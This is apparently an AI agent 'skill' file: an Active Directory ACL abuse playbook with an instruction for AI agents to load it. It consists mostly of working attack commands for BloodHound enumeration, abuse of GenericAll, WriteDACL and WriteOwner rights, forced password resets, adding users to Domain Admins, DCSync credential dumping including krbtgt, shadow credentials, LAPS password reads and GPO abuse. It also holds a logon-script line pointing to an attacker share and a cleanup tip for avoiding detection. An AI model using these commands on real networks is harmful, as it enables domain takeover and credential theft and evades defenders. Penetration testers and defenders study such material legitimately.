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active-directory-acl-abuse Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
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下载 Zip 下载中... BLOODHOUND_PATHS.md 7.1 KB name active-directory-acl-abuse description Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
SKILL: AD ACL Abuse — Expert Attack Playbook
AI LOAD INSTRUCTION : Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
0. RELATED ROUTING
Before going deep, consider loading:
Advanced Reference
Also load BLOODHOUND_PATHS.md when you need:
Common BloodHound attack paths with Cypher queries
Custom Neo4j queries for finding complex chains
Data collection and ingestion tips
1. BLOODHOUND ENUMERATION
Data Collection
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
SharpHound.exe -c DCOnly
SharpHound.exe -c Session
SharpHound.exe -c All,GPOLocalGroup
Key BloodHound Queries (Built-in)
"Find all Domain Admins"
"Shortest Paths to Domain Admins from Owned Principals"
"Find Principals with DCSync Rights"
"Shortest Paths to Unconstrained Delegation Systems"
"Find computers where Domain Users are Local Admin"
2. DANGEROUS ACE TYPES ACE Effect on Users Effect on Groups Effect on Computers GenericAll Change password, set SPN, modify attributes Add members RBCD, LAPS read, all attributes GenericWrite Set SPN, modify attributes, shadow creds Add members RBCD, shadow credentials WriteDACL Grant yourself any permission Same Same WriteOwner Take ownership → then WriteDACL Same Same ForceChangePassword Reset password without knowing old N/A N/A AddMember N/A Add self/others to group N/A AllExtendedRights Force change password, read LAPS N/A Read LAPS, BitLocker keys ReadLAPSPassword N/A N/A Read local admin password WriteSPN Set SPN → targeted kerberoast N/A N/A
3. ACE-SPECIFIC EXPLOITATION
GenericAll on User # Option 1: Force change password
net user targetuser NewP@ss123 /domain
# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN
# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
GenericAll / GenericWrite on Computer
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
WriteDACL # Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
WriteOwner # Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
# Step 3: Now exploit as GenericAll
ForceChangePassword
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
AddMember to Group # Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
4. DCSYNC ATTACK
Prerequisites The principal needs both of these replication rights on the domain object:
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
Execution
secretsdump.py DOMAIN/user:password@DC01 -just-dc
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc
Who Has DCSync by Default?
Domain Admins
Enterprise Admins
Domain Controllers group
BUILTIN\Administrators (on domain object)
5. SHADOW CREDENTIALS
Attack Flow Write msDS-KeyCredentialLink on target → generate certificate → authenticate via PKINIT.
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt
Cleanup : Remove the added key credential to avoid detection.
6. LAPS PASSWORD READING # PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText
# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps
7. GPO ABUSE
Identify Writable GPOs # PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
($_.SecurityIdentifier -match 'YOUR_SID')
}
Exploit via SharpGPOAbuse # Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"
# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01
8. ACL ATTACK DECISION TREE Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│ └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│ ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│ ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│ ├── ForceChangePassword → reset password directly (§3)
│ ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│ └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│ ├── AddMember / GenericAll → add self to privileged group (§3)
│ └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│ ├── GenericAll/GenericWrite → RBCD attack (§3)
│ ├── AllExtendedRights → read LAPS password (§6)
│ └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│ ├── WriteDACL → grant DCSync rights to self (§4)
│ └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│ └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
└── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis